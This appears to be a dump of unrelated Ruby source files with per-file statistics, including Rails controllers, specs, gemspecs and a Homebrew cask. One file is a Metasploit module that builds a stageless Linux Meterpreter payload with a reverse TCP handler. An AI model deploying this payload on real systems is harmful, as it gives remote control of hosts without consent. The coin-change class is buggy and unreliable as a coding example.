page.should have_content("The coupon code you entered doesn't exist. Please try again.")
end
context "on the cart page" do
before do
visit spree.root_path
click_link "RoR Mug"
click_button "add-to-cart-button"
end
it "cannot enter a promotion code that was created after the order" do
promotion.update_column(:created_at, 1.day.from_now)
fill_in "Coupon code", :with => "onetwo"
click_button "Apply"
page.should have_content("The coupon code you entered doesn't exist. Please try again.")
end
it "can enter a promotion code with both upper and lower case letters" do
promotion.update_column(:created_at, 1.minute.ago)
fill_in "Coupon code", :with => "ONETWO"
click_button "Apply"
page.should have_content("The coupon code was successfully applied to your order.")
end
end
end
end
| 33.560606 | 96 | 0.643341 |
5d857159cd9e689ff1bf848bfd35955858a8ac06 | 772 | #frozen_string_literal: true
module Appwrite
module Models
class MembershipList
attr_reader :sum
attr_reader :memberships
def initialize(
sum:,
memberships:
)
@sum = sum
@memberships = memberships
end
def self.from(map:)
MembershipList.new(
sum: map["sum"],
memberships: map["memberships"].map { |it| Membership.from(map: it) }
)
end
def to_map
{
"sum": @sum,
"memberships": @memberships.map { |it| it.to_map }
}
end
end
end
end | 24.125 | 89 | 0.411917 |
1dc7dff65d38171109b721a9df0c6507ea8c6c02 | 706 | cask "obsidian" do
version "0.10.8"
sha256 "a2a56594338439de4285fd68cb2cd24e70d8bf7a800a99287e31caaa60db4a97"
url "https://github.com/obsidianmd/obsidian-releases/releases/download/v#{version}/Obsidian-#{version}.dmg",
verified: "github.com/obsidianmd/"
appcast "https://github.com/obsidianmd/obsidian-releases/releases.atom"
name "Obsidian"
desc "Knowledge base that works on top of a local folder of plain text Markdown files"
homepage "https://obsidian.md/"
auto_updates true
app "Obsidian.app"
zap trash: [
"~/Library/Application Support/obsidian",
"~/Library/Preferences/md.obsidian.plist",
"~/Library/Saved Application State/md.obsidian.savedState",
]
end
| 32.090909 | 110 | 0.743626 |
088c1c0693d548c33354042fee4b866b0a983d5f | 1,734 | class Coins
def initialize(amount)
@money = amount.to_i
end
def calculate()
untilCount = 0
# variable untilCount counts the number of times iterating through until loop
forCount = 0
# variable forCount counts how many times iterating through if loop
denominations = [25, 10, 5, 1]
# denominations is an array of each coin amount
solution = []
# solution is an array for the amount of coins for the answer
@money = @money * 100
# changes the cent amount into whole numbers
until @money == 0 do
#condition by which we execute the loop
if @money - denominations[untilCount].to_i > 0
# if for example, you have 75 cents, and you can subtract 25 cents, setting untilCount to 1, you can loop again. Keep repeating the loop below.
@money = @money - denominations[untilCount].to_i
forCount += 1
else
solution.push(forCount)
#pushing how many times you were able to subtract 25 cents here
forCount = 0
#if you cannot go subtract 25 cents anymore, you RESET forCount HERE, and then it knows to go through next smallest denomination because of the variable below untilCount
untilCount += 1
end
return solution
end
changeOutput = ""
binding.pry
if solution[0] > 0
changeOutput = changeOutput + "#{solution[0]} quarters, "
end
if solution[1] > 0
changeOutput = changeOutput + "#{solution[1]} dimes, "
end
if solution[2] > 0
changeOutput = changeOutput + "#{solution[2]} nickels, "
end
if solution[3] > 0
changeOutput = changeOutput + "#{solution[3]} pennies."
end
return changeOutput
end
end
| 35.387755 | 177 | 0.644175 |
bf5a6e7a97dfec8fabd2b2a69f314bc7a3da36b1 | 1,510 | require_relative 'lib/fortnite_experience/version'
Gem::Specification.new do |spec|
spec.name = 'fortnite_experience'
spec.version = FortniteExperience::VERSION
spec.authors = ['prudi']
spec.summary = 'Gem that groups by POIs the amount of experience from weekly challenges.'
spec.description = 'Groups POIs with the xp points from weekly challenges. Use FortniteAPI.io.'
spec.homepage = 'https://github.com/francoprud/fortnite_experience'
spec.license = 'MIT'
spec.required_ruby_version = Gem::Requirement.new('>= 2.3.0')
spec.metadata['homepage_uri'] = spec.homepage
spec.metadata['source_code_uri'] = 'https://github.com/francoprud/fortnite_experience'
# Specify which files should be added to the gem when it is released.
# The `git ls-files -z` loads the files in the RubyGem that have been added into git.
spec.files = Dir.chdir(File.expand_path('..', __FILE__)) do
`git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
end
spec.bindir = 'exe'
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ['lib']
spec.add_development_dependency 'rake', '~> 11.2', '>= 11.2.2'
spec.add_development_dependency 'rspec', '~> 3.5'
spec.add_development_dependency 'rubocop', '~> 0.42.0'
spec.add_development_dependency 'webmock', '~> 2.1'
spec.add_development_dependency 'byebug', '~> 2.1'
spec.add_runtime_dependency 'httparty', '~> 0.13.7'
end
| 44.411765 | 99 | 0.690066 |
0375e50863cfd668ee2e5997f03831d23de105f4 | 189 | # frozen_string_literal: true
require 'logger'
require 'konfigyu'
require 'sycl'
require 'bole/version'
require 'bole/manager'
# Define the module namespace for this gem
module Bole
end
| 14.538462 | 42 | 0.777778 |
5d6a22776a69795b0ab572320312068ed817952d | 1,300 | # frozen_string_literal: true
require "rails/generators/abstract_generator"
module Rails
module Generators
class ComponentGenerator < Rails::Generators::NamedBase
include ViewComponent::AbstractGenerator
source_root File.expand_path("templates", __dir__)
argument :attributes, type: :array, default: [], banner: "attribute"
check_class_collision suffix: "Component"
class_option :inline, type: :boolean, default: false
def create_component_file
template "component.rb", File.join(component_path, class_path, "#{file_name}_component.rb")
end
hook_for :test_framework
hook_for :preview, type: :boolean
hook_for :template_engine do |instance, template_engine|
instance.invoke template_engine, [instance.name]
end
private
def parent_class
defined?(ApplicationComponent) ? "ApplicationComponent" : "ViewComponent::Base"
end
def initialize_signature
return if attributes.blank?
attributes.map { |attr| "#{attr.name}:" }.join(", ")
end
def initialize_body
attributes.map { |attr| "@#{attr.name} = #{attr.name}" }.join("\n ")
end
def initialize_call_method_for_inline?
options["inline"]
end
end
end
end
| 26 | 99 | 0.669231 |
1a3131acab1a88b362dcb2d12a97dadf9fafff53 | 1,161 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 484732
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_mipsle_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config).to_binary :exec
end
end
| 27.642857 | 90 | 0.645134 |
917abc94d56127ea9e7279df8954178035e0454e | 8,605 | =begin
#Ory APIs
#Documentation for all public and administrative Ory APIs. Administrative APIs can only be accessed with a valid Personal Access Token. Public APIs are mostly used in browsers.
The version of the OpenAPI document: v0.0.1-alpha.30
Contact: [email protected]
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.2.1
=end
require 'spec_helper'
describe OryClient::ApiClient do
context 'initialization' do
context 'URL stuff' do
context 'host' do
it 'removes http from host' do
OryClient.configure { |c| c.host = 'http://example.com' }
expect(OryClient::Configuration.default.host).to eq('example.com')
end
it 'removes https from host' do
OryClient.configure { |c| c.host = 'https://wookiee.com' }
expect(OryClient::ApiClient.default.config.host).to eq('wookiee.com')
end
it 'removes trailing path from host' do
OryClient.configure { |c| c.host = 'hobo.com/v4' }
expect(OryClient::Configuration.default.host).to eq('hobo.com')
end
end
context 'base_path' do
it "prepends a slash to base_path" do
OryClient.configure { |c| c.base_path = 'v4/dog' }
expect(OryClient::Configuration.default.base_path).to eq('/v4/dog')
end
it "doesn't prepend a slash if one is already there" do
OryClient.configure { |c| c.base_path = '/v4/dog' }
expect(OryClient::Configuration.default.base_path).to eq('/v4/dog')
end
it "ends up as a blank string if nil" do
OryClient.configure { |c| c.base_path = nil }
expect(OryClient::Configuration.default.base_path).to eq('')
end
end
end
end
describe 'params_encoding in #build_request' do
let(:config) { OryClient::Configuration.new }
let(:api_client) { OryClient::ApiClient.new(config) }
it 'defaults to nil' do
expect(OryClient::Configuration.default.params_encoding).to eq(nil)
expect(config.params_encoding).to eq(nil)
request = api_client.build_request(:get, '/test')
expect(request.options[:params_encoding]).to eq(nil)
end
it 'can be customized' do
config.params_encoding = :multi
request = api_client.build_request(:get, '/test')
expect(request.options[:params_encoding]).to eq(:multi)
end
end
describe 'timeout in #build_request' do
let(:config) { OryClient::Configuration.new }
let(:api_client) { OryClient::ApiClient.new(config) }
it 'defaults to 0' do
expect(OryClient::Configuration.default.timeout).to eq(0)
expect(config.timeout).to eq(0)
request = api_client.build_request(:get, '/test')
expect(request.options[:timeout]).to eq(0)
end
it 'can be customized' do
config.timeout = 100
request = api_client.build_request(:get, '/test')
expect(request.options[:timeout]).to eq(100)
end
end
describe '#deserialize' do
it "handles Array<Integer>" do
api_client = OryClient::ApiClient.new
headers = { 'Content-Type' => 'application/json' }
response = double('response', headers: headers, body: '[12, 34]')
data = api_client.deserialize(response, 'Array<Integer>')
expect(data).to be_instance_of(Array)
expect(data).to eq([12, 34])
end
it 'handles Array<Array<Integer>>' do
api_client = OryClient::ApiClient.new
headers = { 'Content-Type' => 'application/json' }
response = double('response', headers: headers, body: '[[12, 34], [56]]')
data = api_client.deserialize(response, 'Array<Array<Integer>>')
expect(data).to be_instance_of(Array)
expect(data).to eq([[12, 34], [56]])
end
it 'handles Hash<String, String>' do
api_client = OryClient::ApiClient.new
headers = { 'Content-Type' => 'application/json' }
response = double('response', headers: headers, body: '{"message": "Hello"}')
data = api_client.deserialize(response, 'Hash<String, String>')
expect(data).to be_instance_of(Hash)
expect(data).to eq(:message => 'Hello')
end
end
describe "#object_to_hash" do
it 'ignores nils and includes empty arrays' do
# uncomment below to test object_to_hash for model
# api_client = OryClient::ApiClient.new
# _model = OryClient::ModelName.new
# update the model attribute below
# _model.id = 1
# update the expected value (hash) below
# expected = {id: 1, name: '', tags: []}
# expect(api_client.object_to_hash(_model)).to eq(expected)
end
end
describe '#build_collection_param' do
let(:param) { ['aa', 'bb', 'cc'] }
let(:api_client) { OryClient::ApiClient.new }
it 'works for csv' do
expect(api_client.build_collection_param(param, :csv)).to eq('aa,bb,cc')
end
it 'works for ssv' do
expect(api_client.build_collection_param(param, :ssv)).to eq('aa bb cc')
end
it 'works for tsv' do
expect(api_client.build_collection_param(param, :tsv)).to eq("aa\tbb\tcc")
end
it 'works for pipes' do
expect(api_client.build_collection_param(param, :pipes)).to eq('aa|bb|cc')
end
it 'works for multi' do
expect(api_client.build_collection_param(param, :multi)).to eq(['aa', 'bb', 'cc'])
end
it 'fails for invalid collection format' do
expect { api_client.build_collection_param(param, :INVALID) }.to raise_error(RuntimeError, 'unknown collection format: :INVALID')
end
end
describe '#json_mime?' do
let(:api_client) { OryClient::ApiClient.new }
it 'works' do
expect(api_client.json_mime?(nil)).to eq false
expect(api_client.json_mime?('')).to eq false
expect(api_client.json_mime?('application/json')).to eq true
expect(api_client.json_mime?('application/json; charset=UTF8')).to eq true
expect(api_client.json_mime?('APPLICATION/JSON')).to eq true
expect(api_client.json_mime?('application/xml')).to eq false
expect(api_client.json_mime?('text/plain')).to eq false
expect(api_client.json_mime?('application/jsonp')).to eq false
end
end
describe '#select_header_accept' do
let(:api_client) { OryClient::ApiClient.new }
it 'works' do
expect(api_client.select_header_accept(nil)).to be_nil
expect(api_client.select_header_accept([])).to be_nil
expect(api_client.select_header_accept(['application/json'])).to eq('application/json')
expect(api_client.select_header_accept(['application/xml', 'application/json; charset=UTF8'])).to eq('application/json; charset=UTF8')
expect(api_client.select_header_accept(['APPLICATION/JSON', 'text/html'])).to eq('APPLICATION/JSON')
expect(api_client.select_header_accept(['application/xml'])).to eq('application/xml')
expect(api_client.select_header_accept(['text/html', 'application/xml'])).to eq('text/html,application/xml')
end
end
describe '#select_header_content_type' do
let(:api_client) { OryClient::ApiClient.new }
it 'works' do
expect(api_client.select_header_content_type(nil)).to eq('application/json')
expect(api_client.select_header_content_type([])).to eq('application/json')
expect(api_client.select_header_content_type(['application/json'])).to eq('application/json')
expect(api_client.select_header_content_type(['application/xml', 'application/json; charset=UTF8'])).to eq('application/json; charset=UTF8')
expect(api_client.select_header_content_type(['APPLICATION/JSON', 'text/html'])).to eq('APPLICATION/JSON')
expect(api_client.select_header_content_type(['application/xml'])).to eq('application/xml')
expect(api_client.select_header_content_type(['text/plain', 'application/xml'])).to eq('text/plain')
end
end
describe '#sanitize_filename' do
let(:api_client) { OryClient::ApiClient.new }
it 'works' do
expect(api_client.sanitize_filename('sun')).to eq('sun')
expect(api_client.sanitize_filename('sun.gif')).to eq('sun.gif')
expect(api_client.sanitize_filename('../sun.gif')).to eq('sun.gif')
expect(api_client.sanitize_filename('/var/tmp/sun.gif')).to eq('sun.gif')
expect(api_client.sanitize_filename('./sun.gif')).to eq('sun.gif')
expect(api_client.sanitize_filename('..\sun.gif')).to eq('sun.gif')
expect(api_client.sanitize_filename('\var\tmp\sun.gif')).to eq('sun.gif')
expect(api_client.sanitize_filename('c:\var\tmp\sun.gif')).to eq('sun.gif')
expect(api_client.sanitize_filename('.\sun.gif')).to eq('sun.gif')
end
end
end
| 37.907489 | 177 | 0.670889 |
e22664f39af08e91d2bd8e158db11d872a42be85 | 607 | # frozen_string_literal: true
module Bootstrap4RailsComponents
module Bootstrap
module Utilities
# Passes in necessary attributes to allow a component to have an active state
module Activatable
def active
options.fetch(:active, default_active)
end
private
def css_classes
[
super,
('active' if active)
].join(' ').squish
end
def non_html_attribute_options
super.push(:active)
end
def default_active
false
end
end
end
end
end
| 18.393939 | 83 | 0.571664 |
039d90ef926e7c80dfe299f6bfdcc68b43dc5c8c | 1,440 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
require 'aws-sdk-core'
require 'aws-sigv4'
require_relative 'aws-sdk-resourcegroups/types'
require_relative 'aws-sdk-resourcegroups/client_api'
require_relative 'aws-sdk-resourcegroups/client'
require_relative 'aws-sdk-resourcegroups/errors'
require_relative 'aws-sdk-resourcegroups/resource'
require_relative 'aws-sdk-resourcegroups/customizations'
# This module provides support for AWS Resource Groups. This module is available in the
# `aws-sdk-resourcegroups` gem.
#
# # Client
#
# The {Client} class provides one method for each API operation. Operation
# methods each accept a hash of request parameters and return a response
# structure.
#
# resource_groups = Aws::ResourceGroups::Client.new
# resp = resource_groups.create_group(params)
#
# See {Client} for more information.
#
# # Errors
#
# Errors returned from AWS Resource Groups are defined in the
# {Errors} module and all extend {Errors::ServiceError}.
#
# begin
# # do stuff
# rescue Aws::ResourceGroups::Errors::ServiceError
# # rescues all AWS Resource Groups API errors
# end
#
# See {Errors} for more information.
#
# @!group service
module Aws::ResourceGroups
GEM_VERSION = '1.45.0'
end
| 26.666667 | 87 | 0.754861 |
ffc3d20c59c7ba1d8c3d95b49cf19d885d70ea91 | 150 | require 'test_helper'
class Api::V1::FavoritesControllerTest < ActionDispatch::IntegrationTest
# test "the truth" do
# assert true
# end
end
| 18.75 | 72 | 0.733333 |
39ee4248eb100c555f36055b27552474a92132ab | 2,015 | module RailsControllerAssets
# ActionView helper methods module
module ControllerAssetsHelper
def controller_stylesheets
styles = []
styles << controller_stylesheet if controller_stylesheet?
styles << controller_and_action_stylesheet if controller_and_action_stylesheet?
styles
end
def controller_and_action
[controller_path, action_name].join('_')
end
def controller_stylesheet?
controller_asset?(:css)
end
def controller_and_action_stylesheet?
controller_and_action_asset?(:css)
end
def controller_javascripts
scripts = []
scripts << controller_javascript if controller_javascript?
scripts << controller_and_action_javascript if controller_and_action_javascript?
scripts
end
def controller_javascript?
controller_asset?(:js)
end
def controller_and_action_javascript?
controller_and_action_asset?(:js)
end
def controller_asset?(type)
asset_exists? controller_asset(type)
end
def controller_and_action_asset?(type)
asset_exists? controller_and_action_asset(type)
end
def asset_exists?(asset)
Rails.application.assets.find_asset(asset).tap do |found|
if Rails.env.development?
Rails.logger.info " \e[1m\e[33m[RailsControllerAssets]\e[0m Asset `#{asset}' was #{'not ' unless found}found"
end
end
end
def controller_asset(type)
"#{controller_path}.#{type}"
end
def controller_and_action_asset(type)
"#{controller_and_action}.#{type}"
end
def controller_javascript
controller_asset(:js)
end
def controller_and_action_javascript
controller_and_action_asset(:js)
end
def controller_stylesheet
controller_asset(:css)
end
def controller_and_action_stylesheet
controller_and_action_asset(:css)
end
def skip_controller_stylesheet!
controller_stylesheets.delete(controller_stylesheet)
end
end
end
| 24.277108 | 120 | 0.709181 |
bbda1a77d841916a9728d2611ad4de24774736ca | 3,204 |
require 'spec_helper'
require 'json'
# Unit tests for AsposeCellsCloud::CellsSaveAsApi
# Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen)
# Please update as you see appropriate
describe 'CellsSaveAsApi' do
before do
@instance = AsposeCellsCloud::CellsApi.new($client_id,$client_secret,$api_version,$baseurl)
$VERBOSE = nil
end
after do
# run after each test
end
# unit tests for cells_save_as_post_document_save_as
# Convert document and save result to storage.
#
# @param name The document name.
# @param [Hash] opts the optional parameters
# @option opts [SaveOptions] :save_options Save options.
# @option opts [String] :newfilename The new file name.
# @option opts [BOOLEAN] :is_auto_fit_rows Autofit rows.
# @option opts [BOOLEAN] :is_auto_fit_columns Autofit columns.
# @option opts [String] :folder The document folder.
# @option opts [String] :storage storage name.
# @return [SaveResponse]
describe 'cells_save_as_post_document_save_as test' do
it "should work" do
name = $BOOK1
save_options = nil
newfilename = 'newbook.xlsx'
is_auto_fit_rows = true
is_auto_fit_columns = true
folder = $TEMPFOLDER
result = @instance.upload_file( folder+"/"+name, ::File.open(File.expand_path("data/"+name),"r") {|io| io.read(io.size) })
expect(result.uploaded.size).to be > 0
result = @instance.cells_save_as_post_document_save_as(name, { :save_options=>save_options, :newfilename=>(folder+"/"+newfilename), :is_auto_fit_rows=>is_auto_fit_rows, :is_auto_fit_columns=>is_auto_fit_columns, :folder=>folder})
expect(result.code).to eql(200)
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
# unit tests for cells_save_as_post_document_save_as
# Convert document and save result to storage.
#
# @param name The document name.
# @param [Hash] opts the optional parameters
# @option opts [SaveOptions] :save_options Save options.
# @option opts [String] :newfilename The new file name.
# @option opts [BOOLEAN] :is_auto_fit_rows Autofit rows.
# @option opts [BOOLEAN] :is_auto_fit_columns Autofit columns.
# @option opts [String] :folder The document folder.
# @option opts [String] :storage storage name.
# @return [SaveResponse]
describe 'cells_save_as_post_document_save_as md format test' do
it "should work" do
name = $BOOK1
save_options = nil
newfilename = 'newbook.xls.md'
is_auto_fit_rows = true
is_auto_fit_columns = true
folder = $TEMPFOLDER
result = @instance.upload_file( folder+"/"+name, ::File.open(File.expand_path("data/"+name),"r") {|io| io.read(io.size) })
expect(result.uploaded.size).to be > 0
result = @instance.cells_save_as_post_document_save_as(name, { :save_options=>save_options, :newfilename=>(folder+"/"+newfilename), :is_auto_fit_rows=>is_auto_fit_rows, :is_auto_fit_columns=>is_auto_fit_columns, :folder=>folder})
expect(result.code).to eql(200)
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 42.72 | 235 | 0.717541 |
ffff7c3dc35e1797ff321a125ccce53d0d2ef8e4 | 207 | module MoonropeClient
module Responses
class AccessDenied < Response
def message
data['message']
end
def exception_message
self.message
end
end
end
end
| 12.9375 | 33 | 0.613527 |
03770565710cc145cfb28ab0ad061ef3859df630 | 2,720 | class HomeController < ApplicationController
# The feed of everything going on with all students the educator has access
# to view.
def feed_json
view_as_educator = current_educator_or_doppleganger(params[:educator_id])
time_now = time_now_or_param(params[:time_now])
limit = params[:limit].to_i
authorized_students = authorizer.authorized_when_viewing_as(view_as_educator) do
Feed.students_for_feed(view_as_educator)
end
feed = Feed.new(authorized_students)
feed_cards = feed.all_cards(time_now, limit)
render json: {
feed_cards: feed_cards
}
end
# Returns a list of `StudentSectionAssignments` with low grades where
# the student hasn't been commented on in Insights yet.
# Somerville-only and SHS only.
# Response should include everything UI needs.
def students_with_low_grades_json
safe_params = params.permit(:educator_id, :time_now, :limit)
educator = current_educator_or_doppleganger(safe_params[:educator_id])
time_now = time_now_or_param(safe_params[:time_now])
limit = safe_params[:limit].to_i
time_threshold = time_now - 45.days
grade_threshold = 69
insight = InsightStudentsWithLowGrades.new(educator)
students_with_low_grades_json = insight.students_with_low_grades_json(time_now, time_threshold, grade_threshold)
render json: {
limit: limit,
total_count: students_with_low_grades_json.size,
students_with_low_grades: students_with_low_grades_json.first(limit)
}
end
def students_with_high_absences_json
educator = current_educator_or_doppleganger(params[:educator_id])
time_now = time_now_or_param(params[:time_now])
limit = params[:limit].to_i
time_threshold = InsightStudentsWithHighAbsences.time_threshold_capped_to_school_year(time_now, 45.days)
absences_threshold = 4
insight = InsightStudentsWithHighAbsences.new(educator)
students_with_high_absences_json = insight.students_with_high_absences_json(time_now, time_threshold, absences_threshold)
render json: {
limit: limit,
total_students: students_with_high_absences_json.size,
students_with_high_absences: students_with_high_absences_json.first(limit)
}
end
private
# Use time from value or fall back to Time.now
def time_now_or_param(params_time_now)
if params_time_now.present?
Time.at(params_time_now.to_i)
else
Time.now
end
end
# Allow districtwide admin to dopplegang as another user
def current_educator_or_doppleganger(params_educator_id)
if current_educator.can_set_districtwide_access? && params_educator_id.present?
Educator.find(params_educator_id)
else
current_educator
end
end
end
| 36.266667 | 125 | 0.768015 |
38783980eba0cb436f3a3d5fd40fb6700209e03e | 213 | # frozen_string_literal: true
require_dependency "renalware/events"
module Renalware
module Events
class EventPresenter < DumbDelegator
include ::Renalware::AccountablePresentation
end
end
end
| 17.75 | 50 | 0.774648 |
38b3f80f582ddbd93aeb7f7bd14361b21bac769a | 1,840 | class Argo < Formula
desc "Get stuff done with container-native workflows for Kubernetes"
homepage "https://argoproj.io"
url "https://github.com/argoproj/argo-workflows.git",
tag: "v3.1.11",
revision: "665c08d2906f1bb15fdd8c2f21e6877923e0394b"
license "Apache-2.0"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "80c8ff88580f98b78e28cb79f7658918bf8a08958dd1974c682c68e6dcb8d8de"
sha256 cellar: :any_skip_relocation, big_sur: "08763ccb56f3e36f310f2da13459151fc08fefde543fef0a9ced5456255d07fb"
sha256 cellar: :any_skip_relocation, catalina: "577ac6385fa44a076716018f4cf76728ce1a632e67054f76cdde7fb70f80b25d"
sha256 cellar: :any_skip_relocation, mojave: "be46c18a5d87d4eee9ba951e731eddf3ab82dca548fed560ed93c67b22be4e92"
sha256 cellar: :any_skip_relocation, x86_64_linux: "9122703558bcdaacd6f1e2cd9d617b14294e286a35c8c9d7b87ac4bd31f16618"
end
depends_on "go" => :build
depends_on "node@14" => :build
depends_on "yarn" => :build
def install
# this needs to be remove to prevent multiple 'operation not permitted' errors
inreplace "Makefile", "CGO_ENABLED=0", ""
system "make", "dist/argo"
bin.install "dist/argo"
output = Utils.safe_popen_read("#{bin}/argo", "completion", "bash")
(bash_completion/"argo").write output
output = Utils.safe_popen_read("#{bin}/argo", "completion", "zsh")
(zsh_completion/"_argo").write output
end
test do
assert_match "argo:",
shell_output("#{bin}/argo version")
# argo consumes the Kubernetes configuration with the `--kubeconfig` flag
# Since it is an empty file we expect it to be invalid
touch testpath/"kubeconfig"
assert_match "invalid configuration",
shell_output("#{bin}/argo lint --kubeconfig ./kubeconfig ./kubeconfig 2>&1", 1)
end
end
| 41.818182 | 122 | 0.736957 |
e230a15f3cf2ea2a7cd3cea1d71a0d7d2bdc0f50 | 463 | module InfluxDB
module Query
module Cluster # :nodoc:
def create_cluster_admin(username, password)
execute("CREATE USER #{username} WITH PASSWORD '#{password}' WITH ALL PRIVILEGES")
end
def list_cluster_admins
list_users.select { |u| u['admin'] }.map { |u| u['username'] }
end
def revoke_cluster_admin_privileges(username)
execute("REVOKE ALL PRIVILEGES FROM #{username}")
end
end
end
end
| 25.722222 | 90 | 0.647948 |
260066e5c419aae734bf28988fa1fa1ab4c7c5bd | 2,540 |
#Pod::Spec.new do |spec|
Pod::Spec.new do |s|
s.name = "XBSwiftCoreModule"
s.version = "0.1.1"
s.summary = "develop components for swift, you can configure a listview or circleView with this components"
s.homepage = "https://github.com/ZB0106/XBSwiftCoreModule"
s.author = { "[email protected]" => "[email protected]" }
s.platform = :ios, "9.0"
s.source = { :git => "https://github.com/ZB0106/XBSwiftCoreModule", :tag => "#{s.version}" }
# s.source_files = "XBSwiftCoreModule/Sources/XBListViewManager/*/*.swift","XBSwiftCoreModule/Sources/XBCircleScroll/*.swift","XBSwiftCoreModule/Sources/XBMenuView/*.swift","XBSwiftCoreModule/Sources/XBFoundationExtension/*.swift","XBSwiftCoreModule/Sources/XBUIKitExtension/*.swift","XBSwiftCoreModule/Sources/XBTools/*.swift"
# s.resources = "XBSwiftCoreModule/Sources/XBCircleScroll/*.bundle"
s.requires_arc = true
s.frameworks = 'UIKit', 'Foundation'
#子部件
s.subspec 'XBListViewManager' do |xb|
xb.source_files = 'XBSwiftCoreModule/Sources/XBListViewManager/*/*.swift','XBSwiftCoreModule/Sources/XBListViewManager/*.swift'
xb.frameworks = 'UIKit', 'Foundation'
#依赖子库
# xb.dependency 'CocoapodsStudy/ZB_Swift_Base'
end
s.subspec 'XBCircleScroll' do |xb|
xb.source_files = 'XBSwiftCoreModule/Sources/XBCircleScroll/*/*.swift','XBSwiftCoreModule/Sources/XBCircleScroll/*.swift'
xb.resources = "XBSwiftCoreModule/Sources/XBCircleScroll/*.bundle"
xb.frameworks = 'UIKit', 'Foundation'
xb.dependency 'XBSwiftCoreModule/XBTools'
end
s.subspec 'XBMenuView' do |xb|
xb.source_files = 'XBSwiftCoreModule/Sources/XBMenuView/*/*.swift','XBSwiftCoreModule/Sources/XBMenuView/*.swift'
xb.frameworks = 'UIKit', 'Foundation'
end
s.subspec 'XBFoundationExtension' do |xb|
xb.source_files = 'XBSwiftCoreModule/Sources/XBFoundationExtension/*/*.swift','XBSwiftCoreModule/Sources/XBFoundationExtension/*.swift'
xb.frameworks = 'UIKit', 'Foundation'
end
s.subspec 'XBUIKitExtension' do |xb|
xb.source_files = 'XBSwiftCoreModule/Sources/XBUIKitExtension/*/*.swift','XBSwiftCoreModule/Sources/XBUIKitExtension/*.swift'
xb.frameworks = 'UIKit', 'Foundation'
end
s.subspec 'XBTools' do |xb|
xb.source_files = 'XBSwiftCoreModule/Sources/XBTools/*/*.swift','XBSwiftCoreModule/Sources/XBTools/*.swift'
xb.frameworks = 'UIKit', 'Foundation'
end
s.swift_versions = ['5.1', '5.2', '5.3']
#由于需要依赖的三方库都是静态库,如果这里不指定本库为静态库,则cocoapods中默认会编译成动态库,而此动态库中依赖了静态库,会导致编译失败, 因此这里需要指定编译成静态库
s.static_framework = true
end
| 45.357143 | 329 | 0.735827 |
7a4f0f1397abbd09edad8c399c0ad4fbe258afcb | 1,233 | require 'spec_helper'
describe Deployment do
let(:payload) { fixture_data('deployment') }
let!(:data) { JSON.parse(payload)['payload'] }
let!(:create_data) {
{
:custom_payload => JSON.dump(data),
:environment => "production",
:guid => SecureRandom.uuid,
:name => "hubot",
:name_with_owner => "github/hubot",
:output => "https://gist.github.com/1",
:ref => "master",
:sha => "f24b8008"
}
}
it "works with dynamic finders" do
deployment = Deployment.create create_data
expect(deployment).to be_valid
end
it "#latest_for_name_with_owner" do
present = [ ]
Deployment.create create_data
present << Deployment.create(create_data)
Deployment.create create_data.merge(:name => "mybot")
present << Deployment.create(create_data.merge(:name => "mybot"))
Deployment.create create_data.merge(:name_with_owner => "atmos/heaven")
present << Deployment.create(create_data.merge(:environment => "staging"))
deployments = Deployment.latest_for_name_with_owner("github/hubot")
expect(deployments.size).to be 3
expect(deployments).to match_array(present)
end
end
| 28.674419 | 78 | 0.635036 |
1ae17b660112e56d37bd2bd5b8db25e596086a41 | 965 | # frozen_string_literal: true
require 'rails_helper'
describe 'application and dependency monitoring' do
it '/status checks if Rails app is running' do
visit '/status'
expect(page.status_code).to eq 200
expect(page).to have_text('Application is running')
end
it '/status/all checks if required dependencies are ok and also shows non-crucial dependencies' do
visit '/status/all'
expect(page.status_code).to eq 200
expect(page).to have_text('HTTP check successful')
expect(page).to have_text('purl_url')
expect(page).to have_text('stacks_url')
expect(page).to have_text('geo_web_services_url') # non-crucial
end
it '/status/streaming_url responds if Settings.enable_media_viewer? is true' do
# set to true in config/settings/test.yml; config/initializers already loaded at this point
visit '/status/streaming_url'
expect(page.status_code).to eq 200
expect(page).to have_text('streaming_url')
end
end
| 37.115385 | 100 | 0.739896 |
6193b63ce3eba81455193490b9af6e14e6f73bd8 | 389 | require 'action_controller'
require 'explicit_parameters'
RSpec.configure do |config|
config.expect_with :rspec do |expectations|
expectations.include_chain_clauses_in_custom_matcher_descriptions = true
end
config.mock_with :rspec do |mocks|
mocks.verify_partial_doubles = true
end
config.disable_monkey_patching!
config.order = :random
Kernel.srand config.seed
end
| 25.933333 | 76 | 0.796915 |
ac9d8a5c91f8da9f934af7ebb6a50c008c59bdc1 | 1,393 | # frozen_string_literal: true
module Api
class UsersController < ApplicationController
before_action :authenticate_user! unless ENV['NO_AUTH'] == 'yes'
before_action :set_user, only: %i[update histories statistics]
before_action :update_params, only: [:update]
def index
@users = User.all
end
def update
@user.update_with_history(update_params)
end
def histories
@histories = @user.histories.order(:id).limit(100)
end
def statistics
render json: { message: 'statistics not implemented yet' }
end
private
def set_user
